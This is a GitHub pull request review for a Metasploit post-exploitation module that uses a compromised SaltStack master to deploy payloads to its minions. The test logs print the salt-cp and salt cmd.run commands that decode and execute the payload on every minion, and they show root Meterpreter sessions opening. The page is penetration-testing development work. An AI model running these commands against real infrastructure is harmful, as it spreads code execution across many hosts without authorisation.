Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Saltstack salt minion deployer #18626

Merged
merged 10 commits into from
Jan 23, 2024
Merged

Conversation

h00die
Copy link
Contributor

@h00die h00die commented Dec 17, 2023

Back in #15113 we had planned to create a follow on module to deploy payloads to the minions. Apparently that fell off both @c2Vlcgo and my radars. This circles back to complete that.

This PR creates a new exploitation module that when used on a saltstack salt master will deploy a payload to minions

This is part 1 of my new Raining Shells series raining blood

Verification

List the steps needed to make sure this thing works

  • Install the application
  • Start msfconsole
  • Get an initial shell on the box
  • Do: use exploit/linux/local/saltstack_salt_minion_deployer
  • Do: set session [#]
  • Do: run
  • You should get sessions on all the targeted hosts

- salt-minion
- window-salt-minion
minions_denied: []
minions_pre: []
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

What's a minions_pre ?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

not sure, thats a salt specific term. I believe it means they're in a pending to be accepted state.

'h00die', # msf module
'c2Vlcgo'
],
'Platform' => [ 'linux', 'unix' ],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

One can install the SaltMaster on windows too.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yup, It could be a target and host, as well as OSX. I was trying not to overly complicate this PR by making it work on and against everything the software does. From what I've seen "in the wild" it's always been linux on linux, however I'm sure thats a limited scope.

A follow-on PR can expand the scope out. In theory that was trivial until the base64 requirement. Still easy, but not trivial.

],
'Platform' => [ 'linux', 'unix' ],
'Stance' => Msf::Exploit::Stance::Passive,
'Arch' => [ ARCH_X86, ARCH_X64 ],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Aren't all arch supported?

end

print_good(tbl.to_s)
print_good("#{count} minions were found accepted, and will attempt to execute payload. Waiting 10 seconds incase this isn't optimal.")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

will attempt to execute payload. Waiting 10 seconds incase this isn't optimal.

This is a bit unclear: what for is this waiting here, and what might not be optimal?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I can re-word this a bit better.

Basically I'm assuming that the user hasn't gotten an accurate count of the amount of hosts to be exploited ahead of time. I envisioned they just ran this module blindly thinking 'pwn it all!', so I wanted to give the user a heads up on how many shells to expect. If it was more than they expected (say expecting 10 servers, but its looking like 1000), I wanted to give them a chance to ctr+c out before all hell breaks loose

stime = Time.now.to_f
timeout = datastore['ListenerTimeout'].to_i
loop do
break if timeout > 0 && (stime + timeout < Time.now.to_f)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Why are we breaking conditionally on a positive, nonzero timeout? Are we expecting a 0 or negative timeout? We're not decrementing it that I see?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is 100% taken from exploit/multi/handler. Looks like in that module the default is 0 to wait forever.

@jheysel-r7 jheysel-r7 self-assigned this Dec 28, 2023
Copy link
Contributor

@jheysel-r7 jheysel-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Great module @h00die. Thanks for circling back to this. One minor comment about the SALT datastore option. Testing worked as expected in this Docker environment.

msf6 exploit(linux/local/saltstack_salt_minion_deployer) > set salt /usr/local/bin/salt-master
salt => /usr/local/bin/salt-master
msf6 exploit(linux/local/saltstack_salt_minion_deployer) > set session -1
session => -1
msf6 exploit(linux/local/saltstack_salt_minion_deployer) > set lport 3333
lport => 3333
msf6 exploit(linux/local/saltstack_salt_minion_deployer) > run
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.1.78:3333
msf6 exploit(linux/local/saltstack_salt_minion_deployer) > [*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. salt-master executable found
[*] Attempting to list minions
[+] 192.168.123.1:51287 - minion file successfully retrieved and saved to /Users/jheysel/.msf4/loot/20231228103629_default_127.0.0.1_saltstack_minion_929241.yaml
[+] Minions List
============

 Status    Minion Name
 ------    -----------
 Accepted  e8f3fe342e10

[+] 1 minions were found in the accepted state, and will attempt to execute payload. If this isn't an expected volume (too many), ctr+c to halt execution. Pausing 10 seconds.
[*] Writing '/tmp/GBCyRHL' (336 bytes) ...
[*] Copying payload to minions
[*] Executing payloads
[*] Sending stage (3045380 bytes) to 192.168.1.78
[*] Meterpreter session 2 opened (192.168.1.78:3333 -> 192.168.1.78:53679) at 2023-12-28 10:36:42 -0500

msf6 exploit(linux/local/saltstack_salt_minion_deployer) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 172.19.0.2
OS           : Debian 10.3 (Linux 6.5.11-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >


print_good(tbl.to_s)

# https://github.com/rapid7/metasploit-framework/pull/18626#discussion_r1434577017
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for explaining the Rex.sleep(10) with a comment. I agree this is a good idea to inform the user of how many call backs are imminent.

However, I would have half expected all hell breaking loose and returning 1000 shells to be somewhat desirable as a part of the slayer raining shells series.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I agree, but with that volume of shells you can start running into issues with bandwidth etc. I know we've had so many ssh_login sessions before that Linux started complaining about not wanting to open more files. So its just a heads up, not a breaker. only the strong survive the raining of shells 🤣

Copy link
Contributor

@jheysel-r7 jheysel-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Was just doing some final testing and realized I had made a mistake in my original suggestion, apologies. Also I noticed some interesting behaviour due to a misconfiguration in my target (no minions being connected).

def exploit
# Make sure we can write our exploit and payload to the local system
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" unless writable? datastore['WritableDir']
list_minions_printer if datastore['CALCULATE']
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If no minions are found connected to the master, we still attempt to deploy the payload from the master, which I don't think is desirable behaviour:

msf6 exploit(linux/local/saltstack_salt_minion_deployer) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.1.78:3333
[*] Running automatic check ("set AutoCheck false" to disable)
msf6 exploit(linux/local/saltstack_salt_minion_deployer) > [+] The target is vulnerable. salt-master executable found
[*] Attempting to list minions
[+] 192.168.1.78:55323 - minion file successfully retrieved and saved to /Users/jheysel/.msf4/loot/20240108125551_default_127.0.0.1_saltstack_minion_828135.yaml
[+] Minions List
============

 Status  Minion Name
 ------  -----------

[+] 0 minions were found in the accepted state, and will attempt to execute payload. If this isn't an expected volume (too many), ctr+c to halt execution. Pausing 10 seconds.
[*] Writing '/tmp/CzH5Yb' (336 bytes) ...
[*] Copying payload to minions
[*] salt-cp '*' '/tmp/CzH5Yb' '/tmp/CzH5Yb.b64'
[*] Copy command output: No minions matched the target. No command was sent, no jid was assigned.
[*] Executing payloads
[*] salt '*' cmd.run 'base64 -d /tmp/CzH5Yb.b64 > /tmp/CzH5Yb && chmod 755 /tmp/CzH5Yb && /tmp/CzH5Yb'
[*] Execute command output: ERROR: No return received
No minions matched the target. No command was sent, no jid was assigned.
[*] 127.0.0.1 - Meterpreter session 1 closed.  Reason: Died
Interrupt: use the 'exit' command to quit
msf6 exploit(linux/local/saltstack_salt_minion_deployer) >

Should we maybe be running list_minions regardless and bailing if there are none found? Currently list_minions only gets called from list_minions_printer if datastore['CALCULATE'] is set.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I don't like the idea of forcing this to run, it can be noisy and potentially take time that the user doesn't want to devote. However, I do like the idea of bailing on no targets.

I've opted to default to running, but if we do a count and its 0, then bail.

[msf](Jobs:1 Agents:1) exploit(linux/local/saltstack_salt_minion_deployer) > 
[*] Started reverse TCP handler on 1.1.1.1:1111 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. salt-master executable found
[*] Attempting to list minions
[*] minions: []
minions_denied: []
minions_pre: []
minions_rejected: []
[+] 172.25.0.2:47984 - minion file successfully retrieved and saved to /root/.msf4/loot/20240110170232_default_172.25.0.2_saltstack_minion_464932.yaml
[+] Minions List
============

 Status  Minion Name
 ------  -----------

[+] 0 minions were found in the accepted state, and will attempt to execute payload. If this isn't an expected volume (too many), ctr+c to halt execution. Pausing 10 seconds.
[-] Exploit aborted due to failure: not-found: No exploitable minions found.

@jheysel-r7
Copy link
Contributor

Thanks for making those changes! Retested and everything looks good 👍

msf6 exploit(linux/local/saltstack_salt_minion_deployer) > rexploit
[*] Reloading module...
[*] Exploit running as background job 4.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.123.1:5555
msf6 exploit(linux/local/saltstack_salt_minion_deployer) > [*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. salt-master executable found
[*] Attempting to list minions
[+] 192.168.123.1:52753 - minion file successfully retrieved and saved to /Users/jheysel/.msf4/loot/20240123114533_default_127.0.0.1_saltstack_minion_741242.yaml
[+] Minions List
============

 Status    Minion Name
 ------    -----------
 Accepted  30097c3fe4c8

[+] 1 minions were found in the accepted state, and will attempt to execute payload. If this isn't an expected volume (too many), ctr+c to halt execution. Pausing 10 seconds.
[*] Writing '/tmp/J8Sl6r4h' (336 bytes) ...
[*] Copying payload to minions
[*] Executing payloads
[*] Sending stage (3045380 bytes) to 192.168.123.1
[*] Meterpreter session 2 opened (192.168.123.1:5555 -> 192.168.123.1:53274) at 2024-01-23 11:45:46 -0500

msf6 exploit(linux/local/saltstack_salt_minion_deployer) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 172.19.0.2
OS           : Debian 10.3 (Linux 6.5.11-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

@jheysel-r7 jheysel-r7 merged commit 904e344 into rapid7:master Jan 23, 2024
57 checks passed
@jheysel-r7 jheysel-r7 added the rn-modules release notes for new or majorly enhanced modules label Jan 23, 2024
@jheysel-r7
Copy link
Contributor

Release Notes

This PR adds an exploit module which allows for a user who has compromised a host acting as a SaltStack Master to deploy payloads to the Minions attached to that Master.

@h00die h00die deleted the saltstack_deployer branch January 25, 2024 17:29
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

4 participants